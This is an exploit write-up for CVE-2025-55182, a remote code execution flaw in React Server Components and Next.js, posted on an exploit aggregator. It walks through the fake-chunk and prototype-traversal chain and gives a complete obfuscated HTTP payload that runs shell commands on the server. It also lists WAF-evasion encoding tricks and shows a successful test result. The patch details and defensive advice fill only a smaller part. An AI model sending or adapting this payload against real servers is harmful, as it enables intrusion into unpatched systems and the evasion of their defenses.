Share
## https://sploitus.com/exploit?id=2C24E102-D8BF-543F-A58F-F7143FA78436
# CVE-2025-55182 - React Server Components RCE

`NOTE: Written by AI/Claude`

## TL;DR

CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains **path traversal** + **fake chunk injection** + **$B handler abuse** to execute `Function(attacker_code)`.

**Big thanks to [maple3142](https://gist.github.com/maple3142) for the working exploitation chain!**

---

## The Exploit

### Attack Overview

The exploit uses three form fields to construct a malicious payload:

1. Creates a **fake chunk object** with self-referential `then` (field 1 `$@0` โ†’ field 0)
2. Embeds a **fake `_response`** with `_formData.get` set to `$1:constructor:constructor`
3. Triggers the **`$B` handler** which calls `response._formData.get(response._prefix + id)`
4. **Path traversal** resolves `_formData.get` โ†’ `Function`, executing `Function(code)`

### Exploitation Flow

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  1. Attacker sends multipart form with fake chunk object            โ”‚
โ”‚     โ†’ decodeReply() parses form fields 0, 1, 2                      โ”‚
โ”‚     โ†’ Object has: then, status, value, _response                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  2. Self-reference makes object thenable with real function         โ”‚
โ”‚     โ†’ then: "$1:__proto__:then" โ†’ Chunk.prototype.then              โ”‚
โ”‚     โ†’ Chunk.prototype.then(this) calls initializeModelChunk(this)   โ”‚
โ”‚     โ†’ Uses this._response (attacker's fake _response)               โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  3. parseModelString() handles "$B1337" reference                   โ”‚
โ”‚     โ†’ case "B": return response._formData.get(response._prefix+id)  โ”‚
โ”‚     โ†’ Calls _formData.get with attacker's _prefix + "1337"          โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  4. getOutlinedModel() resolves _formData.get (lazy evaluation):    โ”‚
โ”‚     โ†’ "$1:constructor:constructor" traverses prototype chain        โ”‚
โ”‚     โ†’ Returns Function constructor                                  โ”‚
โ”‚     โ†’ Function(code + "1337") โ†’ RCE                                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

### Key Components

| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Self-referential thenable; chunk 1 (`$@0`) points back to chunk 0 |
| `status: "resolved_model"` | Makes object appear as valid React chunk |
| `reason: -1` | Sets rootReference to undefined (avoids reference conflicts) |
| `value: '{"then":"$B1337"}'` | Nested payload that triggers `$B` handler |
| `_response._prefix` | Contains the RCE code string |
| `_response._chunks: "$Q2"` | Empty Map to prevent crashes during chunk processing |
| `_response._formData.get` | Points to `Function` via `$1:constructor:constructor` |

### Component Deep Dive

#### Form Field Structure

The exploit uses three form fields with circular references:

```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    โ† references back to field 0
Field 2: []       โ† empty array for _chunks Map
```

#### Self-Referential Thenable (`then`)

The `then: "$1:__proto__:then"` creates a self-reference that resolves to a **real function**:

```
$1:__proto__:then
  โ†“
$1 โ†’ chunk 1 โ†’ "$@0" โ†’ getChunk(0) โ†’ Chunk object
  โ†“
Chunk.__proto__.then โ†’ Chunk.prototype.then (actual function!)
```

**Why this is critical:**

1. `then` resolves to `Chunk.prototype.then` - a real callable function
2. This makes the fake object a valid thenable
3. When awaited, JS calls `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executes with fake object as `this`:

```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" โœ“
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
```

5. `initializeModelChunk(this)` uses `this._response` - the attacker's fake `_response`:

```javascript
value = reviveModel(
  chunk._response,  // โ† attacker's fake _response!
  ...
);
```

**Without the self-reference**, the fake `_response` would never be used. The self-reference makes `Chunk.prototype.then` treat the attacker's object as a real Chunk.

#### Two-Stage Thenable Trigger (`value`)

The `value` field contains a nested JSON string with another thenable:

```json
{"then":"$B1337"}
```

**Stage 1:** Outer object's self-referential `then` triggers chunk processing

**Stage 2:** When React resolves the model, it parses `value` and encounters another thenable with `then: "$B1337"`. The `$B` prefix triggers the handler:

```javascript
case "B":
  return response._formData.get(response._prefix + obj);  // obj = "1337"
```

`_formData.get` is `"$1:constructor:constructor"` โ†’ `getOutlinedModel()` resolves to `Function`.

This becomes: `Function(code + "1337")` โ†’ valid JS because `1337` is just a trailing expression.

#### Defensive Padding (`_chunks`)

The fake `_response` needs a valid `_chunks` property to prevent crashes:

```
Form field "2": []           โ† empty array
_chunks: "$Q2"               โ† $Q = Map type, creates new Map([])
```

React's internal code may access `response._chunks.get()` or `response._chunks.has()` during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable `$B` handler.

---

## Vulnerable Code Paths

| Path | Function | Purpose in Exploit |
|------|----------|-------------------|
| Path Traversal | `getOutlinedModel()` | Resolves `$1:constructor:constructor` โ†’ `Function` |
| Fake `_response` Injection | `initializeModelChunk()` | Uses attacker's `chunk._response` |
| `$B` Handler | `parseModelString()` | Calls `_formData.get(_prefix + id)` โ†’ RCE |

`decodeReply()` is the entry point, not vulnerable itself.

**Path Traversal** (`getOutlinedModel()`):
```javascript
for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];  // No validation!
```

**Fake Response Usage** (`initializeModelChunk()`):
```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);
```

**$B Handler RCE** (`parseModelString()`):
```javascript
case "B":
  return response._formData.get(response._prefix + obj);  // RCE!
```

---

## The Fix (19.2.1)

The patch includes multiple fixes:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Critical fix
   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
   ```

2. **`hasOwnProperty` check in `getOutlinedModel()`** - Blocks prototype traversal
   ```javascript
   hasOwnProperty.call(value, name) && (value = value[name]);
   ```

3. **`__proto__` handling in `reviveModel()`** - Prevents prototype pollution
   ```javascript
   void 0 !== parentObj || "__proto__" === i
     ? (value[i] = parentObj)
     : delete value[i];
   ```

4. **Type check in `initializeModelChunk()`** - Validates listeners
   ```javascript
   "function" === typeof listener
     ? listener(value)
     : fulfillReference(response, listener, value);
   ```

---

## Impact & Versions

### Impact Assessment

| Capability | Status | Notes |
|------------|--------|-------|
| Prototype chain traversal | โœ“ Confirmed | Via `$1:constructor:constructor` |
| Access to Function constructor | โœ“ Confirmed | No manifest needed |
| Full RCE | โœ“ **Confirmed** | Via fake chunk + $B handler |

### Affected Versions

- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- react-server-dom-turbopack: Same versions
- Next.js: 15.x, 16.x (before patches), canaries from 14.3.0-canary.77+

### Fixed Versions

- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

---

## WAF Evasion

Pattern-matching WAFs can be bypassed using multiple encoding techniques. Understanding these is critical for building effective defenses.

### Encoding Techniques by Layer

The exploit has two distinct layers with different encoding options:

| Layer | Parser | Available Encodings |
|-------|--------|---------------------|
| JSON structure | `JSON.parse()` | `\uXXXX` only |
| RCE code | `Function()` | `\uXXXX`, `\xXX`, octal, `fromCharCode` |

### JSON Structure Encoding (decoded by JSON.parse)

| Pattern | Encoded | WAF Sees | React Sees |
|---------|---------|----------|------------|
| `constructor` | `\u0063onstructor` | `\u0063onstructor` | `constructor` |
| `__proto__` | `\u005f\u005fproto\u005f\u005f` | `\u005f\u005f...` | `__proto__` |
| `status` | `\u0073tatus` | `\u0073tatus` | `status` |
| `resolved_model` | `\u0072esolved_model` | `\u0072esolved...` | `resolved_model` |
| `$@` | `$\u0040` | `$\u0040` | `$@` |

### RCE Code Encoding (decoded by JavaScript Function())

**Method 1: Unicode escapes (`\uXXXX`)**

| Pattern | Encoded | WAF Sees | JS Executes |
|---------|---------|----------|-------------|
| `process` | `\u0070rocess` | `\u0070rocess` | `process` |
| `require` | `\u0072equire` | `\u0072equire` | `require` |
| `child_process` | `\u0063hild_\u0070rocess` | `\u0063hild_...` | `child_process` |
| `execSync` | `\u0065xecSync` | `\u0065xecSync` | `execSync` |

**Method 2: Hex escapes (`\xXX`) - strings only**

| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `whoami` | `\x77\x68\x6f\x61\x6d\x69` | `\x77\x68...` |
| `child_process` | `\x63\x68\x69\x6c\x64_process` | `\x63\x68...` |

**Method 3: String.fromCharCode - maximum obfuscation**

| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `child_process` | `String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)` | numbers only |
| `whoami` | `String.fromCharCode(119,104,111,97,109,105)` | numbers only |

**Method 4: Bracket notation + fromCharCode for identifiers**

For hiding identifiers like `process`, `mainModule`, `require` - use bracket notation with `this[]`:

| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `process` | `this[S(112,114,111,99,101,115,115)]` | numbers only |
| `mainModule` | `[S(109,97,105,110,77,111,100,117,108,101)]` | numbers only |
| `require` | `[S(114,101,113,117,105,114,101)]` | numbers only |
| `execSync` | `[S(101,120,101,99,83,121,110,99)]` | numbers only |

Where `S = String.fromCharCode`. This hides ALL JavaScript identifiers as numeric arrays.

**Method 5: Full unicode encoding of JSON keys**

Every JSON key can be fully unicode-encoded:

| JSON Key | Fully Encoded |
|----------|---------------|
| `then` | `\u0074\u0068\u0065\u006e` |
| `status` | `\u0073\u0074\u0061\u0074\u0075\u0073` |
| `value` | `\u0076\u0061\u006c\u0075\u0065` |
| `_response` | `\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065` |
| `_prefix` | `\u005f\u0070\u0072\u0065\u0066\u0069\u0078` |
| `_chunks` | `\u005f\u0063\u0068\u0075\u006e\u006b\u0073` |
| `_formData` | `\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061` |
| `get` | `\u0067\u0065\u0074` |

Methods 1-4 are the most dangerous as **zero**  patterns are visible. Bad!

**Method 6: Base64 encoding with hidden Buffer**

All identifiers become base64 strings - looks like random data to WAFs:

| Pattern | Base64 Encoded | WAF Sees |
|---------|----------------|----------|
| `process` | `cHJvY2Vzcw==` | random string |
| `mainModule` | `bWFpbk1vZHVsZQ==` | random string |
| `require` | `cmVxdWlyZQ==` | random string |
| `child_process` | `Y2hpbGRfcHJvY2Vzcw==` | random string |
| `execSync` | `ZXhlY1N5bmM=` | random string |
| `whoami` | `d2hvYW1p` | random string |

Decoder function (also hidden):
```javascript
var S=String.fromCharCode,B=function(s){
  return this[S(66,117,102,102,101,114)][S(102,114,111,109)](s,S(98,97,115,101,54,52))[S(116,111,83,116,114,105,110,103)]()
};
// Usage: this[B('cHJvY2Vzcw==')]  โ†’ process
```

This hides `Buffer`, `from`, `base64`, and `toString` as well, making the payload appear as random base64 data.

### Encoded Payload (Maximum Obfuscation)

Uses full `\uXXXX` for ALL JSON keys + bracket notation + `fromCharCode` for **everything**:

```http
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----x
Next-Action: x

------x
Content-Disposition: form-data; name="0"

{"\u0074\u0068\u0065\u006e":"$1:\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f:\u0074\u0068\u0065\u006e","\u0073\u0074\u0061\u0074\u0075\u0073":"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c","\u0072\u0065\u0061\u0073\u006f\u006e":-1,"\u0076\u0061\u006c\u0075\u0065":"{\"\\u0074\\u0068\\u0065\\u006e\":\"$B1337\"}","\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":{"\u005f\u0070\u0072\u0065\u0066\u0069\u0078":"(function(){var S=String.fromCharCode;this[S(112,114,111,99,101,115,115)][S(109,97,105,110,77,111,100,117,108,101)][S(114,101,113,117,105,114,101)](S(102,115))[S(119,114,105,116,101,70,105,108,101,83,121,110,99)](S(47,116,109,112,47,112,119,110,101,100,46,116,120,116),S(77,65,88,58)+this[S(112,114,111,99,101,115,115)][S(109,97,105,110,77,111,100,117,108,101)][S(114,101,113,117,105,114,101)](S(99,104,105,108,100,95,112,114,111,99,101,115,115))[S(101,120,101,99,83,121,110,99)](S(119,104,111,97,109,105)))})();//","\u005f\u0063\u0068\u0075\u006e\u006b\u0073":"$Q2","\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061":{"\u0067\u0065\u0074":"$1:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"}}}
------x
Content-Disposition: form-data; name="1"

"$\u00400"
------x
Content-Disposition: form-data; name="2"

[]
------x--
```

### Verification

Tested against Next.js 16.0.6 - **13 patterns hidden**:

```
=== WAF Pattern Check ===
  constructor: hidden     โ† \u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072
  __proto__: hidden       โ† \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f
  resolved_model: hidden  โ† \u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064...
  status: hidden          โ† \u0073\u0074\u0061\u0074\u0075\u0073
  then: hidden            โ† \u0074\u0068\u0065\u006e
  process: hidden         โ† S(112,114,111,99,101,115,115)
  mainModule: hidden      โ† S(109,97,105,110,77,111,100,117,108,101)
  require: hidden         โ† S(114,101,113,117,105,114,101)
  child_process: hidden   โ† S(99,104,105,108,100,95,112,114,111,99,101,115,115)
  execSync: hidden        โ† S(101,120,101,99,83,121,110,99)
  whoami: hidden          โ† S(119,104,111,97,109,105)
  writeFileSync: hidden   โ† S(119,114,105,116,101,70,105,108,101,83,121,110,99)
  fs: hidden              โ† S(102,115)

=== RCE Result ===
MAX-OBFUSC:nick
```

**Zero dangerous patterns visible** - All JSON keys fully unicode-encoded + all JS identifiers as numeric charCode arrays. Signature-based WAFs completely bypassed.

### Why It Works

1. WAF scans raw HTTP body bytes โ†’ sees `\u0063onstructor`
2. Server receives multipart form โ†’ passes to React
3. React calls `JSON.parse()` โ†’ decodes `\u0063` to `c`
4. Exploit proceeds with decoded strings โ†’ RCE

**Only `\uXXXX` works for JSON** - JSON spec doesn't support `\xXX` hex or octal escapes.

### Defensive Recommendations

**Signature-based WAF rules are insufficient.** To effectively block this exploit:

1. **Upgrade immediately** - The only reliable fix is patching React/Next.js
   - React: 19.0.1+, 19.1.2+, 19.2.1+
   - Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

2. **If you must use WAF rules**, decode before matching:
   - Decode `\uXXXX` sequences before pattern matching
   - Decode `\xXX` hex escapes
   - Normalize `String.fromCharCode()` calls
   - Block requests containing `$@`, `$B`, `$Q` references in form data

3. **Structural detection** (more reliable than signatures):
   - Block multipart forms with `Next-Action` header containing suspicious JSON structures
   - Detect circular references (`$@0` pointing to field 0)
   - Flag `_response`, `_prefix`, `_chunks` in form field JSON

4. **Runtime protection**:
   - Monitor for `Function()` calls with dynamic arguments
   - Sandbox server-side JavaScript execution
   - Implement CSP and limit `child_process` access

**Pattern matching alone will fail** - attackers have too many encoding options.

---

## Research Journey

### The Vulnerability: Path Traversal

```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}
```

With payload `"$1:constructor:constructor"`:
1. `chunk[1]["constructor"]` โ†’ `[Function: Object]`
2. `Object["constructor"]` โ†’ `[Function: Function]`

### Blocked Paths We Tried

While we obtained `Function`, achieving RCE requires calling it with controlled arguments. These paths failed:

**1. Thenable Path (Blocked)**
```javascript
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name
```

**2. decodeAction Path (Blocked)**
```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
```

**3. Iterator Path (Blocked)**
```javascript
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't execute
```

### The Breakthrough

maple3142 found the missing piece: the `$B` handler + fake `_response` chain. By making `then` resolve to `Chunk.prototype.then` via self-reference, the fake `_response` gets used, enabling RCE.

---

## Key Findings

1. **`getOutlinedModel()` vulnerability is real** - Colon-separated paths allow prototype chain traversal

2. **Function constructor is accessible** - `$1:constructor:constructor` works without serverManifest

3. **RCE is achievable** - By crafting a fake chunk with controlled `_response`:
   - Self-reference `$1:__proto__:then` โ†’ `Chunk.prototype.then` makes fake `_response` get used
   - Fake chunk structure mimics React's internal Chunk class
   - `_response._formData.get` โ†’ `Function` constructor
   - `_response._prefix` โ†’ malicious code string
   - `$B` handler triggers `Function(malicious_code)`

4. **The fix is comprehensive** - Multiple `hasOwnProperty` checks and type validations

---

## References

- [maple3142's Gist](https://gist.github.com/maple3142) - RCE chain discovery
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)

---

## Disclaimer

This repository is for **educational and defensive security research only**. The vulnerability has been patched. Upgrade your dependencies immediately.